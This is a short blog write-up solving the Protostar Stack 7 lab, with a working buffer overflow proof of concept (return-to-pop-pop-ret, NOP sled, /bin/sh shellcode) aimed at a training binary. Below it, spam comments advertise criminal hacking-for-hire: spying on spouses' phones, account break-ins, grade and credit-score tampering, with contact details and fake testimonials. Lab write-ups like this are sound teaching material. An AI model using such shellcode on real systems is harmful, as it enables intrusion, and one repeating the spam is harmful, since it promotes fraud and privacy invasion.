Tuesday, November 22, 2016

Exploit Exercises - Protostar Stack 7

In this level, app check return address not start with 0xbxxxxxxx. So i pop pop ret to load return address to stack, and call it.
Found pop pop ret at: 0x08048492
This payload:
| "A" * 80 | address | 8 bytes junk | | NOP to bit shifing | Shell code |
This is shell code:
\x31\xc0\x31\xdb\xb0\x06\xcd\x80\x53\x68/tty\x68/dev\x89\xe3\x31\xc9\x66\xb9\x12\x27\xb0\x05\xcd\x80\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80

Load poc to gdb, debug, break point, etc... I found nop shell start at: 0xbffff698. Ok build poc:
(python -c 'print "A"*80 + "\x92\x84\x04\x08" + "C"*8 + "\x98\xf6\xff\xbf" + "\x90"*40 +"\x31\xc0\x31\xdb\xb0\x06\xcd\x80\x53\x68/tty\x68/dev\x89\xe3\x31\xc9\x66\xb9\x12\x27\xb0\x05\xcd\x80\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"';cat)
And run it:
(python -c 'print "A"*80 + "\x92\x84\x04\x08" + "C"*8 + "\x98\xf6\xff\xbf" + "\x90"*40 + "\x31\xc0\x31\xdb\xb0\x06\xcd\x80\x53\x68/tty\x68/dev\x89\xe3\x31\xc9\x66\xb9\x12\x27\xb0\x05\xcd\x80\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"';cat) | /opt/protostar/bin/stack7

----------------------------------------------------------
Thanks for reading
--------------------------------------------------------------------------
Security Research
SecurityLab - Linux Lab -- Window and Cisco Lab
to be continued - I will update more.

7 comments:

wizardcyprus hacker said...


Are you desperately in need of a hacker in any area of your life???

then you can contact: wizardcyprushacker@gmail.com

I will help you at affordable prices, i offer services like
-hack into your cheating partner's phone(whatsapp,bbm.gmail,icloud,facebook and others)
-Sales of Blank ATM cards.

-hack into email accounts and trace email location -all social media accounts,

-school database to clear or change grades,

-Retrieval of lost file/documents

-DUIs -company records and systems,

-Bank accounts,Paypal accounts, bitcoins accounts, -Credit cards hacker

-Credit score hack -Monitor any phone and email address

-Websites hacking, pentesting.

-IP addresses and people tracking.

-Hacking courses and classes.

my services are the best on the market and 100% security and discreet work is guaranteed.....

DAN EVANS said...

Gaining access into my wife’s device was not that easy, as my expertise wasn’t that much not until I told AFONKAPETROV@TUTANOTA.COM about this. He helped in cracking the AES (Advanced Encryption Standard) and EXPLOITING all VULNERABILITIES in the device hereby providing a thorough access to the mobile’s data. After all, it was not a waste of effort. There was SEVERE INFIDELITY on her part. Now, I guess I need the divorce immediately and child custody too.

Unknown said...


hi, when you have lost a lot of money trying to get the best hacker to work with? it gets tiring but at the end of the day, you get what you want as i have when i finally worked with wrathgod007@gmail.com. if you need to confirm if your spouse is cheating, contact him, if you need to gain access into any email or social media account, contact him, if you need your grades, credit score up, contact him, if you need to access any website or database or clear criminal records, contact him. He did a marvelous job with my credit score from 437-766 and cleared my duis

Claesson said...

I had a fruitless search for a lover, all F.A.K.E acquaintances. I even lost a bit above 39,400 EURO. My worst experience, but I didn’t let him go with this. I had reported this case to AFONKAPETROV@ TUTANOTA. COM . I was able to recover funds he stole from me as a result of AFONKA’S ADVANCED PENETRATION into HIS MOBILE PHONE LINKED TO HIS BANK, SNIFFED HIS MAILS AND WAS ABLE TO H.A.C.K INTO HIS BITCOIN WALLETS. We gained more than I lost and shared BTC with AFONKA. I am so delighted, even donated to charity. I don’t think I’ll try to find love online ever again. It wasn’t a good experience.

Unknown said...

Hi, I'm Olivia. I have been a victim of online scams from fake hack gurus but since i have worked with someone i was actually referred to by 3 different people and saw reviews about him online too then i knew Wrath God is a tested and trusted hack genius, i contacted him because of some old emails and i needed access to and help with my credit score/report and he did a marvelous job with helping with my credit report with step by step visual process. About the emails, he provided access within 6 hours, pretty fast. Communicated via wrathgod007@gmail.com and he came through always, he is also part of the team that created the Lokd secure unhackable phone, you can check on it and also purchase the phone, just ordered mine.

PAIGE said...

definitely if you're getting a trusted ethical hacker to help you with hack or clone of your spouse phones or even their social media accounts, like messenger, whatsapp instagram, and mails, etc. especially for spouses in distant relationship I will recommend you to this hacker with the email address, superior.hack WITH . he has helped me on several hack jobs since my friend introduced him to me, he's been so spectacular. for obvious reasons, I would not want to go into details on how he's helped me hack my spouses social media accounts and even my friends when they gossip.
for relative hack jobs ranging from
accounts hack
CREDIT SCORE INCREASE
CREDIT REPORT FIX
EMAIL ACCOUNTS HACK
WHATSAPP AND OTHER SOCIAL MEDIA HACK
UNLOCK OF PHONES OF DATE / LATE RELATIVES
and some other relative hack job, just hit him up
SUPERIOR.HACK@GMAIL.COM OR TEXT/CALL(+16692252253), thumbs up for a job well done, that's my review

CLAESSON E. said...

MY NIECE HAD ISSUES IN COLLEGE and needed some grades upgraded discreetly, I was directed to contact AFONKAPETROV@ TUTANOTA. COM This was a major breakthrough for us from her failure. The reason behind this was due to s.e.x.u.a.l a.s.s.a.u.l.t.s by the College Professor. This instigated failure for my niece. We had reported the case earlier and nothing was done. Anyway, her grades were successfully changed.

Install Xposed Inspector and Frida on Genymotion

Today i had some work with android. So i need trace application. I found 2 nice tool can help me: Xposed Inspector and Frida. To setup ther...